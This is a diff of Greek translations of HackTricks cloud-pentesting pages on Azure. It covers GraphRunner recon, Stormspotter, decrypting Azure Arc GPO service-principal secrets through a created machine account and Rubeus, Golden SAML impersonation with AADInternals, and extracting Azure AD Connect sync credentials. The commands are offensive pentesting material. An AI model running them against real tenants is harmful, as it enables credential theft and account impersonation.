+ +#Create a list of security groups along with their members. +Get-SecurityGroups -AccessToken $tokens.access_token + +#Gets groups that may be able to be modified by the current user +Get-UpdatableGroups -Tokens $tokens + +#Finds dynamic groups and displays membership rules +Get-DynamicGroups -Tokens $tokens + +#Gets a list of SharePoint site URLs visible to the current user +Get-SharePointSiteURLs -Tokens $tokens + +#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work. +Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt + +#This module attempts to gather a tenant ID associated with a domain. +Get-TenantID -Domain + +#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams. +Invoke-GraphRunner -Tokens $tokens +``` +### [Stormspotter](https://github.com/Azure/Stormspotter) + +Το Stormspotter δημιουργεί ένα “attack graph” των πόρων σε μια συνδρομή Azure. Επιτρέπει στις κόκκινες ομάδες και τους pentesters να οπτικοποιούν την επιφάνεια επίθεσης και τις ευκαιρίες pivot εντός ενός ενοικιαστή, και ενισχύει τους υπερασπιστές σας ώστε να προσανατολίζονται και να προτεραιοποιούν γρήγορα το έργο αντίκτυπου. + +**Δυστυχώς, φαίνεται ότι δεν συντηρείται**. +```bash +# Start Backend +cd stormspotter\backend\ +pipenv shell +python ssbackend.pyz + +# Start Front-end +cd stormspotter\frontend\dist\spa\ +quasar.cmd serve -p 9091 --history + +# Run Stormcollector +cd stormspotter\stormcollector\ +pipenv shell +az login -u test@corp.onmicrosoft.com -p Welcome2022! +python stormspotter\stormcollector\sscollector.pyz cli +# This will generate a .zip file to upload in the frontend (127.0.0.1:9091) +``` {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index 706b3557f..0f6ec3fe3 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -2,19 +2,19 @@ {{#include ../../../banners/hacktricks-training.md}} -### Αναγνώριση των Προβλημάτων +### Αναγνώριση των Θεμάτων -Το Azure Arc επιτρέπει την ενσωμάτωση νέων εσωτερικών διακομιστών (διακομιστές που ανήκουν σε τομέα) στο Azure Arc χρησιμοποιώντας τη μέθοδο Group Policy Object. Για να διευκολυνθεί αυτό, η Microsoft παρέχει ένα εργαλείο ανάπτυξης απαραίτητο για την έναρξη της διαδικασίας onboarding. Μέσα στο αρχείο ArcEnableServerGroupPolicy.zip, μπορούν να βρεθούν τα εξής scripts: DeployGPO.ps1, EnableAzureArc.ps1 και AzureArcDeployment.psm1. +Το Azure Arc επιτρέπει την ενσωμάτωση νέων εσωτερικών διακομιστών (συνδεδεμένων διακομιστών τομέα) στο Azure Arc χρησιμοποιώντας τη μέθοδο Group Policy Object. Για να διευκολυνθεί αυτό, η Microsoft παρέχει ένα εργαλείο ανάπτυξης απαραίτητο για την έναρξη της διαδικασίας onboarding. Μέσα στο αρχείο ArcEnableServerGroupPolicy.zip, μπορούν να βρεθούν τα εξής σενάρια: DeployGPO.ps1, EnableAzureArc.ps1 και AzureArcDeployment.psm1. -Όταν εκτελείται, το script DeployGPO.ps1 εκτελεί τις εξής ενέργειες: +Όταν εκτελείται, το σενάριο DeployGPO.ps1 εκτελεί τις εξής ενέργειες: 1. Δημιουργεί το Azure Arc Servers Onboarding GPO εντός του τοπικού τομέα. -2. Αντιγράφει το script EnableAzureArc.ps1 για το onboarding στη designated network share που έχει δημιουργηθεί για τη διαδικασία onboarding, η οποία περιέχει επίσης το πακέτο εγκατάστασης των Windows. +2. Αντιγράφει το σενάριο onboarding EnableAzureArc.ps1 στο καθορισμένο κοινόχρηστο δίκτυο που έχει δημιουργηθεί για τη διαδικασία onboarding, το οποίο περιέχει επίσης το πακέτο εγκατάστασης των Windows. -Κατά την εκτέλεση αυτού του script, οι διαχειριστές συστημάτων πρέπει να παρέχουν δύο κύριες παραμέτρους: **ServicePrincipalId** και **ServicePrincipalClientSecret**. Επιπλέον, απαιτούνται άλλες παράμετροι όπως ο τομέας, το FQDN του διακομιστή που φιλοξενεί το share και το όνομα του share. Περαιτέρω λεπτομέρειες όπως το tenant ID, η ομάδα πόρων και άλλες απαραίτητες πληροφορίες πρέπει επίσης να παρέχονται στο script. +Κατά την εκτέλεση αυτού του σεναρίου, οι διαχειριστές συστημάτων πρέπει να παρέχουν δύο κύριες παραμέτρους: **ServicePrincipalId** και **ServicePrincipalClientSecret**. Επιπλέον, απαιτούνται άλλες παράμετροι όπως ο τομέας, το FQDN του διακομιστή που φιλοξενεί το κοινόχρηστο, και το όνομα του κοινόχρηστου. Περαιτέρω λεπτομέρειες όπως το tenant ID, η ομάδα πόρων και άλλες απαραίτητες πληροφορίες πρέπει επίσης να παρέχονται στο σενάριο. -Ένα κρυπτογραφημένο μυστικό δημιουργείται στον κατάλογο AzureArcDeploy στο συγκεκριμένο share χρησιμοποιώντας κρυπτογράφηση DPAPI-NG. Το κρυπτογραφημένο μυστικό αποθηκεύεται σε ένα αρχείο με το όνομα encryptedServicePrincipalSecret. Απόδειξη αυτού μπορεί να βρεθεί στο script DeployGPO.ps1, όπου η κρυπτογράφηση εκτελείται καλώντας το ProtectBase64 με $descriptor και $ServicePrincipalSecret ως είσοδοι. Ο περιγραφέας αποτελείται από τα SIDs των ομάδων Domain Computer και Domain Controller, διασφαλίζοντας ότι το ServicePrincipalSecret μπορεί να αποκρυπτογραφηθεί μόνο από τις ομάδες ασφαλείας Domain Controllers και Domain Computers, όπως σημειώνεται στα σχόλια του script. -```powershell +Ένα κρυπτογραφημένο μυστικό δημιουργείται στον κατάλογο AzureArcDeploy στο καθορισμένο κοινόχρηστο χρησιμοποιώντας κρυπτογράφηση DPAPI-NG. Το κρυπτογραφημένο μυστικό αποθηκεύεται σε ένα αρχείο με όνομα encryptedServicePrincipalSecret. Απόδειξη αυτού μπορεί να βρεθεί στο σενάριο DeployGPO.ps1, όπου η κρυπτογράφηση εκτελείται καλώντας το ProtectBase64 με $descriptor και $ServicePrincipalSecret ως είσοδοι. Ο περιγραφέας αποτελείται από τα SIDs της ομάδας Domain Computer και Domain Controller, διασφαλίζοντας ότι το ServicePrincipalSecret μπορεί να αποκρυπτογραφηθεί μόνο από τις ομάδες ασφαλείας Domain Controllers και Domain Computers, όπως σημειώνεται στα σχόλια του σεναρίου. +```bash # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups $DomainComputersSID = "SID=" + $DomainComputersSID $DomainControllersSID = "SID=" + $DomainControllersSID @@ -31,20 +31,20 @@ $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSe 3. Έχουμε ανακαλύψει μια κοινή χρήση δικτύου που περιέχει τον φάκελο AzureArcDeploy. Υπάρχουν αρκετές μέθοδοι για να αποκτήσουμε έναν λογαριασμό μηχανής σε ένα περιβάλλον AD. Μία από τις πιο κοινές είναι η εκμετάλλευση του ποσοστού λογαριασμών μηχανών. Μια άλλη μέθοδος περιλαμβάνει την παραβίαση ενός λογαριασμού μηχανής μέσω ευάλωτων ACL ή διάφορων άλλων κακών ρυθμίσεων. -```powershell +```bash Import-MKodule powermad New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` Αφού αποκτηθεί ένας λογαριασμός μηχανής, είναι δυνατή η αυθεντικοποίηση χρησιμοποιώντας αυτόν τον λογαριασμό. Μπορούμε είτε να χρησιμοποιήσουμε την εντολή runas.exe με την επιλογή netonly είτε να χρησιμοποιήσουμε pass-the-ticket με το Rubeus.exe. -```powershell +```bash runas /user:fake01$ /netonly powershell ``` -```powershell +```bash .\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr ``` -Με την αποθήκευση του TGT για τον λογαριασμό του υπολογιστή μας στη μνήμη, μπορούμε να χρησιμοποιήσουμε το παρακάτω σενάριο για να αποκρυπτογραφήσουμε το μυστικό του service principal. -```powershell +Έχοντας το TGT για τον λογαριασμό του υπολογιστή μας αποθηκευμένο στη μνήμη, μπορούμε να χρησιμοποιήσουμε το παρακάτω σενάριο για να αποκρυπτογραφήσουμε το μυστικό του service principal. +```bash Import-Module .\AzureArcDeployment.psm1 $encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret" diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md index 9ce565bf2..d3f71fd51 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md @@ -4,11 +4,11 @@ ## Βασικές Πληροφορίες -Η ενσωμάτωση μεταξύ του **On-premises Active Directory (AD)** και του **Azure AD** διευκολύνεται από το **Azure AD Connect**, προσφέροντας διάφορες μεθόδους που υποστηρίζουν το **Single Sign-on (SSO)**. Κάθε μέθοδος, αν και χρήσιμη, παρουσιάζει πιθανά κενά ασφαλείας που θα μπορούσαν να εκμεταλλευτούν για να παραβιάσουν τα περιβάλλοντα cloud ή on-premises: +Η ενσωμάτωση μεταξύ του **On-premises Active Directory (AD)** και του **Azure AD** διευκολύνεται από το **Azure AD Connect**, προσφέροντας διάφορες μεθόδους που υποστηρίζουν το **Single Sign-on (SSO)**. Κάθε μέθοδος, ενώ είναι χρήσιμη, παρουσιάζει πιθανούς κινδύνους ασφαλείας που θα μπορούσαν να εκμεταλλευτούν για να παραβιάσουν τα περιβάλλοντα cloud ή on-premises: - **Pass-Through Authentication (PTA)**: - Πιθανή παραβίαση του πράκτορα στο on-prem AD, επιτρέποντας την επικύρωση των κωδικών πρόσβασης χρηστών για συνδέσεις Azure (on-prem to Cloud). -- Δυνατότητα καταχώρησης ενός νέου πράκτορα για την επικύρωση των αυθεντικοποιήσεων σε μια νέα τοποθεσία (Cloud to on-prem). +- Δυνατότητα εγγραφής ενός νέου πράκτορα για την επικύρωση των αυθεντικοτήτων σε μια νέα τοποθεσία (Cloud to on-prem). {{#ref}} pta-pass-through-authentication.md @@ -43,16 +43,16 @@ az-cloud-kerberos-trust.md {{#endref}} - **Default Applications**: -- Η παραβίαση ενός λογαριασμού Διαχειριστή Εφαρμογής ή του on-premise Sync Account επιτρέπει την τροποποίηση ρυθμίσεων καταλόγου, μελών ομάδας, λογαριασμών χρηστών, ιστότοπων SharePoint και αρχείων OneDrive. +- Η παραβίαση ενός λογαριασμού Διαχειριστή Εφαρμογής ή του λογαριασμού Συγχρονισμού on-prem επιτρέπει την τροποποίηση ρυθμίσεων καταλόγου, μελών ομάδας, λογαριασμών χρηστών, ιστότοπων SharePoint και αρχείων OneDrive. {{#ref}} az-default-applications.md {{#endref}} -Για κάθε μέθοδο ενσωμάτωσης, πραγματοποιείται συγχρονισμός χρηστών και δημιουργείται ένας λογαριασμός `MSOL_` στο on-prem AD. Σημειώνεται ότι και οι μέθοδοι **PHS** και **PTA** διευκολύνουν το **Seamless SSO**, επιτρέποντας αυτόματη σύνδεση για υπολογιστές Azure AD που έχουν συνδεθεί στο on-prem domain. +Για κάθε μέθοδο ενσωμάτωσης, πραγματοποιείται συγχρονισμός χρηστών και δημιουργείται ένας λογαριασμός `MSOL_` στο on-prem AD. Σημειωτέον, οι μέθοδοι **PHS** και **PTA** διευκολύνουν το **Seamless SSO**, επιτρέποντας αυτόματη σύνδεση για υπολογιστές Azure AD που έχουν συνδεθεί στο on-prem domain. Για να επαληθεύσετε την εγκατάσταση του **Azure AD Connect**, μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή PowerShell, χρησιμοποιώντας το module **AzureADConnectHealthSync** (εγκατεστημένο από προεπιλογή με το Azure AD Connect): -```powershell +```bash Get-ADSyncConnector ``` {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md index b9eb12d77..0d2940dbb 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md @@ -4,15 +4,15 @@ ## Συγχρονισμός χρηστών AzureAD στο on-prem για αναβάθμιση από on-prem σε AzureAD -Για να συγχρονίσετε έναν νέο χρήστη f**rom AzureAD to the on-prem AD** αυτές είναι οι απαιτήσεις: +Για να συγχρονίσετε έναν νέο χρήστη f**από το AzureAD στο on-prem AD** αυτές είναι οι απαιτήσεις: - Ο **χρήστης AzureAD** πρέπει να έχει μια διεύθυνση proxy (ένα **mailbox**) -- Η άδεια δεν απαιτείται +- Δεν απαιτείται άδεια - Δεν πρέπει **να έχει ήδη συγχρονιστεί** -```powershell +```bash Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl ``` -Όταν βρεθεί ένας χρήστης όπως αυτοί στο AzureAD, για να **έχετε πρόσβαση σε αυτόν από το on-prem AD** χρειάζεται απλώς να **δημιουργήσετε έναν νέο λογαριασμό** με τη **proxyAddress** το SMTP email. +Όταν βρεθεί ένας χρήστης όπως αυτοί στο AzureAD, για να **έχετε πρόσβαση σε αυτόν από το on-prem AD** χρειάζεται απλώς να **δημιουργήσετε έναν νέο λογαριασμό** με το **proxyAddress** το SMTP email. Αυτόματα, αυτός ο χρήστης θα **συγχρονιστεί από το AzureAD στον on-prem AD χρήστη**. @@ -21,7 +21,7 @@ Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, prox > > Επίσης, αυτό **δεν θα παρακάμψει το MFA**. > -> Επιπλέον, έχει αναφερθεί ότι **η συγχρονισμός λογαριασμών δεν είναι πλέον δυνατός για λογαριασμούς διαχειριστών**. +> Επιπλέον, έχει αναφερθεί ότι **ο συγχρονισμός λογαριασμών δεν είναι πλέον δυνατός για λογαριασμούς διαχειριστών**. ## References diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md index d8e7ce4e4..a478eb208 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md @@ -12,7 +12,7 @@ Βασικά, στην Ομοσπονδία, όλη η **αυθεντικοποίηση** πραγματοποιείται στο **τοπικό** περιβάλλον και οι χρήστες απολαμβάνουν SSO σε όλα τα αξιόπιστα περιβάλλοντα. Επομένως, οι χρήστες μπορούν να **πρόσβαση** σε **εφαρμογές** του **cloud** χρησιμοποιώντας τα **τοπικά διαπιστευτήρια** τους. -**Γλώσσα Σημειώσεων Ασφαλείας (SAML)** χρησιμοποιείται για **ανταλλαγή** όλων των πληροφοριών αυθεντικοποίησης και εξουσιοδότησης μεταξύ των παρόχων. +**Γλώσσα Σημείωσης Ασφάλειας (SAML)** χρησιμοποιείται για **ανταλλαγή** όλων των πληροφοριών αυθεντικοποίησης και εξουσιοδότησης μεταξύ των παρόχων. Σε οποιαδήποτε ρύθμιση ομοσπονδίας υπάρχουν τρία μέρη: @@ -25,7 +25,7 @@
1. Αρχικά, μια εφαρμογή (Πάροχος Υπηρεσιών ή SP, όπως το AWS console ή το vSphere web client) προσπελάζεται από έναν χρήστη. Αυτό το βήμα μπορεί να παρακαμφθεί, οδηγώντας τον πελάτη απευθείας στον IdP (Πάροχος Ταυτότητας) ανάλογα με την συγκεκριμένη υλοποίηση. -2. Στη συνέχεια, ο SP προσδιορίζει τον κατάλληλο IdP (π.χ., AD FS, Okta) για την αυθεντικοποίηση του χρήστη. Στη συνέχεια, δημιουργεί ένα SAML (Γλώσσα Σημειώσεων Ασφαλείας) AuthnRequest και ανακατευθύνει τον πελάτη στον επιλεγμένο IdP. +2. Στη συνέχεια, ο SP προσδιορίζει τον κατάλληλο IdP (π.χ., AD FS, Okta) για την αυθεντικοποίηση του χρήστη. Στη συνέχεια, δημιουργεί ένα SAML (Γλώσσα Σημείωσης Ασφάλειας) AuthnRequest και ανακατευθύνει τον πελάτη στον επιλεγμένο IdP. 3. Ο IdP αναλαμβάνει, αυθεντικοποιώντας τον χρήστη. Μετά την αυθεντικοποίηση, μια SAMLResponse διαμορφώνεται από τον IdP και προωθείται στον SP μέσω του χρήστη. 4. Τέλος, ο SP αξιολογεί την SAMLResponse. Εάν επικυρωθεί επιτυχώς, υποδηλώνοντας μια σχέση εμπιστοσύνης με τον IdP, ο χρήστης αποκτά πρόσβαση. Αυτό σηματοδοτεί την ολοκλήρωση της διαδικασίας σύνδεσης, επιτρέποντας στον χρήστη να χρησιμοποιήσει την υπηρεσία. @@ -48,7 +48,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html - Στο ADFS, η SAML Response υπογράφεται από ένα πιστοποιητικό υπογραφής token. - Εάν το πιστοποιητικό παραβιαστεί, είναι δυνατόν να αυθεντικοποιηθεί στο Azure AD ως ΟΠΟΙΟΣΔΗΠΟΤΕ χρήστης συγχρονισμένος με το Azure AD! -- Ακριβώς όπως η κακή χρήση του PTA, η αλλαγή κωδικού πρόσβασης για έναν χρήστη ή η MFA δεν θα έχει καμία επίδραση επειδή παραποιούμε την απάντηση αυθεντικοποίησης. +- Ακριβώς όπως η κακή χρήση του PTA, η αλλαγή κωδικού πρόσβασης για έναν χρήστη ή το MFA δεν θα έχει καμία επίδραση επειδή παραποιούμε την απάντηση αυθεντικοποίησης. - Το πιστοποιητικό μπορεί να εξαχθεί από τον διακομιστή AD FS με δικαιώματα DA και στη συνέχεια μπορεί να χρησιμοποιηθεί από οποιαδήποτε μηχανή συνδεδεμένη στο Διαδίκτυο. - Περισσότερες πληροφορίες στο [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) @@ -56,7 +56,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html Η διαδικασία όπου ένας **Πάροχος Ταυτότητας (IdP)** παράγει μια **SAMLResponse** για να εξουσιοδοτήσει την είσοδο του χρήστη είναι καθοριστική. Ανάλογα με την συγκεκριμένη υλοποίηση του IdP, η **απάντηση** μπορεί να είναι **υπογεγραμμένη** ή **κρυπτογραφημένη** χρησιμοποιώντας το **ιδιωτικό κλειδί του IdP**. Αυτή η διαδικασία επιτρέπει στον **Πάροχο Υπηρεσιών (SP)** να επιβεβαιώσει την αυθεντικότητα της SAMLResponse, διασφαλίζοντας ότι εκδόθηκε πράγματι από έναν αξιόπιστο IdP. -Μπορεί να γίνει μια παράλληλη αναφορά στην [επίθεση golden ticket](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), όπου το κλειδί που αυθεντικοποιεί την ταυτότητα και τα δικαιώματα του χρήστη (KRBTGT για golden tickets, ιδιωτικό κλειδί υπογραφής token για golden SAML) μπορεί να παραποιηθεί για να **δημιουργήσει ένα αντικείμενο αυθεντικοποίησης** (TGT ή SAMLResponse). Αυτό επιτρέπει την προσποίηση οποιουδήποτε χρήστη, παρέχοντας μη εξουσιοδοτημένη πρόσβαση στον SP. +Μπορεί να γίνει μια παράλληλη αναφορά στην [επίθεση golden ticket](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), όπου το κλειδί που αυθεντικοποιεί την ταυτότητα και τις άδειες του χρήστη (KRBTGT για golden tickets, ιδιωτικό κλειδί υπογραφής token για golden SAML) μπορεί να παραποιηθεί για να **δημιουργήσει ένα αντικείμενο αυθεντικοποίησης** (TGT ή SAMLResponse). Αυτό επιτρέπει την προσποίηση οποιουδήποτε χρήστη, παρέχοντας μη εξουσιοδοτημένη πρόσβαση στον SP. Οι Golden SAML προσφέρουν ορισμένα πλεονεκτήματα: @@ -69,7 +69,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html [Οι Υπηρεσίες Ομοσπονδίας Active Directory (AD FS)]() είναι μια υπηρεσία της Microsoft που διευκολύνει την **ασφαλή ανταλλαγή πληροφοριών ταυτότητας** μεταξύ αξιόπιστων επιχειρηματικών εταίρων (ομοσπονδία). Επιτρέπει ουσιαστικά σε μια υπηρεσία τομέα να μοιράζεται ταυτότητες χρηστών με άλλους παρόχους υπηρεσιών εντός μιας ομοσπονδίας. -Με το AWS να εμπιστεύεται τον παραβιασμένο τομέα (σε μια ομοσπονδία), αυτή η ευπάθεια μπορεί να εκμεταλλευτεί για να **αποκτηθούν οποιαδήποτε δικαιώματα στο περιβάλλον AWS**. Η επίθεση απαιτεί το **ιδιωτικό κλειδί που χρησιμοποιείται για την υπογραφή των αντικειμένων SAML**, παρόμοια με την ανάγκη του KRBTGT σε μια επίθεση golden ticket. Η πρόσβαση στον λογαριασμό χρήστη AD FS είναι επαρκής για να αποκτηθεί αυτό το ιδιωτικό κλειδί. +Με το AWS να εμπιστεύεται τον παραβιασμένο τομέα (σε μια ομοσπονδία), αυτή η ευπάθεια μπορεί να εκμεταλλευτεί για να **αποκτηθούν οποιεσδήποτε άδειες στο περιβάλλον AWS**. Η επίθεση απαιτεί το **ιδιωτικό κλειδί που χρησιμοποιείται για την υπογραφή των αντικειμένων SAML**, παρόμοια με την ανάγκη του KRBTGT σε μια επίθεση golden ticket. Η πρόσβαση στον λογαριασμό χρήστη AD FS είναι επαρκής για να αποκτηθεί αυτό το ιδιωτικό κλειδί. Οι απαιτήσεις για την εκτέλεση μιας επίθεσης golden SAML περιλαμβάνουν: @@ -84,7 +84,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html _Μόνο τα στοιχεία με έντονη γραφή είναι υποχρεωτικά. Τα άλλα μπορούν να συμπληρωθούν κατά βούληση._ Για να αποκτήσετε το **ιδιωτικό κλειδί**, είναι απαραίτητη η πρόσβαση στον **λογαριασμό χρήστη AD FS**. Από εκεί, το ιδιωτικό κλειδί μπορεί να **εξαχθεί από το προσωπικό κατάστημα** χρησιμοποιώντας εργαλεία όπως το [mimikatz](https://github.com/gentilkiwi/mimikatz). Για να συγκεντρώσετε τις άλλες απαιτούμενες πληροφορίες, μπορείτε να χρησιμοποιήσετε το Microsoft.Adfs.Powershell snapin ως εξής, διασφαλίζοντας ότι είστε συνδεδεμένοι ως ο χρήστης ADFS: -```powershell +```bash # From an "AD FS" session # After having exported the key with mimikatz @@ -115,7 +115,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
### On-prem -> cloud -```powershell +```bash # With a domain user you can get the ImmutableID of the target user [System.Convert]::ToBase64String((Get-ADUser -Identity | select -ExpandProperty ObjectGUID).tobytearray()) @@ -133,8 +133,8 @@ Export-AADIntADFSSigningCertificate # Impersonate a user to to access cloud apps Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose ``` -Είναι επίσης δυνατό να δημιουργήσετε ImmutableID χρηστών μόνο στο cloud και να τους μιμηθείτε. -```powershell +Είναι επίσης δυνατό να δημιουργήσετε ImmutableID χρηστών μόνο στο cloud και να τους προσποιηθείτε. +```bash # Create a realistic ImmutableID and set it for a cloud only user [System.Convert]::ToBase64String((New-Guid).tobytearray()) Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK==" diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md index 83301af9f..2dfa9f831 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md @@ -13,42 +13,42 @@ Όλοι οι **χρήστες** και ένα **hash των κωδικών πρόσβασης** συγχρονίζονται από το τοπικό στο Azure AD. Ωστόσο, οι **κωδικοί πρόσβασης σε καθαρό κείμενο** ή οι **αρχικοί** **hashes** δεν αποστέλλονται στο Azure AD.\ Επιπλέον, οι **ενσωματωμένες** ομάδες ασφαλείας (όπως οι διαχειριστές τομέα...) **δεν συγχρονίζονται** στο Azure AD. -Η **συγχρονισμένη καταχώρηση** συμβαίνει κάθε **2 λεπτά**. Ωστόσο, από προεπιλογή, η **λήξη κωδικού πρόσβασης** και η **λήξη λογαριασμού** **δεν συγχρονίζονται** στο Azure AD. Έτσι, ένας χρήστης του οποίου ο **τοπικός κωδικός πρόσβασης έχει λήξει** (δεν έχει αλλάξει) μπορεί να συνεχίσει να **έχει πρόσβαση σε πόρους Azure** χρησιμοποιώντας τον παλιό κωδικό πρόσβασης. +Ο **συγχρονισμός των hashes** συμβαίνει κάθε **2 λεπτά**. Ωστόσο, από προεπιλογή, η **λήξη κωδικού πρόσβασης** και η **λήξη λογαριασμού** **δεν συγχρονίζονται** στο Azure AD. Έτσι, ένας χρήστης του οποίου ο **τοπικός κωδικός πρόσβασης έχει λήξει** (δεν έχει αλλάξει) μπορεί να συνεχίσει να **έχει πρόσβαση σε πόρους Azure** χρησιμοποιώντας τον παλιό κωδικό πρόσβασης. Όταν ένας τοπικός χρήστης θέλει να αποκτήσει πρόσβαση σε έναν πόρο Azure, η **αυθεντικοποίηση πραγματοποιείται στο Azure AD**. -**PHS** απαιτείται για χαρακτηριστικά όπως **Identity Protection** και AAD Domain Services. +**PHS** απαιτείται για δυνατότητες όπως η **Προστασία Ταυτότητας** και οι Υπηρεσίες Τομέα AAD. ## Pivoting -Όταν το PHS είναι ρυθμισμένο, μερικοί **προνομιούχοι λογαριασμοί** δημιουργούνται αυτόματα: +Όταν το PHS είναι ρυθμισμένο, μερικοί **προνομιακοί λογαριασμοί** δημιουργούνται αυτόματα: -- Ο λογαριασμός **`MSOL_`** δημιουργείται αυτόματα στο τοπικό AD. Αυτός ο λογαριασμός έχει ρόλο **Directory Synchronization Accounts** (βλ. [τεκμηρίωση](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) που σημαίνει ότι έχει **δικαιώματα αναπαραγωγής (DCSync) στο τοπικό AD**. -- Ένας λογαριασμός **`Sync__installationID`** δημιουργείται στο Azure AD. Αυτός ο λογαριασμός μπορεί να **επαναφέρει τον κωδικό πρόσβασης ΟΠΟΙΟΥΔΗΠΟΤΕ χρήστη** (συγχρονισμένο ή μόνο cloud) στο Azure AD. +- Ο λογαριασμός **`MSOL_`** δημιουργείται αυτόματα στο τοπικό AD. Αυτός ο λογαριασμός έχει ρόλο **Λογαριασμών Συγχρονισμού Καταλόγου** (βλ. [τεκμηρίωση](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) που σημαίνει ότι έχει **δικαιώματα αναπαραγωγής (DCSync) στο τοπικό AD**. +- Ένας λογαριασμός **`Sync__installationID`** δημιουργείται στο Azure AD. Αυτός ο λογαριασμός μπορεί να **επαναφέρει τον κωδικό πρόσβασης ΟΠΟΙΟΥΔΗΠΟΤΕ χρήστη** (συγχρονισμένου ή μόνο cloud) στο Azure AD. -Οι κωδικοί πρόσβασης των δύο προηγούμενων προνομιούχων λογαριασμών **αποθηκεύονται σε έναν SQL server** στον διακομιστή όπου **είναι εγκατεστημένο το Azure AD Connect.** Οι διαχειριστές μπορούν να εξάγουν τους κωδικούς πρόσβασης αυτών των προνομιούχων χρηστών σε καθαρό κείμενο.\ +Οι κωδικοί πρόσβασης των δύο προηγούμενων προνομιακών λογαριασμών **αποθηκεύονται σε έναν SQL server** στον διακομιστή όπου **είναι εγκατεστημένο το Azure AD Connect.** Οι διαχειριστές μπορούν να εξάγουν τους κωδικούς πρόσβασης αυτών των προνομιακών χρηστών σε καθαρό κείμενο.\ Η βάση δεδομένων βρίσκεται στο `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`. -Είναι δυνατή η εξαγωγή της διαμόρφωσης από έναν από τους πίνακες, ο οποίος είναι κρυπτογραφημένος: +Είναι δυνατή η εξαγωγή της διαμόρφωσης από έναν από τους πίνακες, με έναν κρυπτογραφημένο: `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` -Η **κρυπτογραφημένη διαμόρφωση** είναι κρυπτογραφημένη 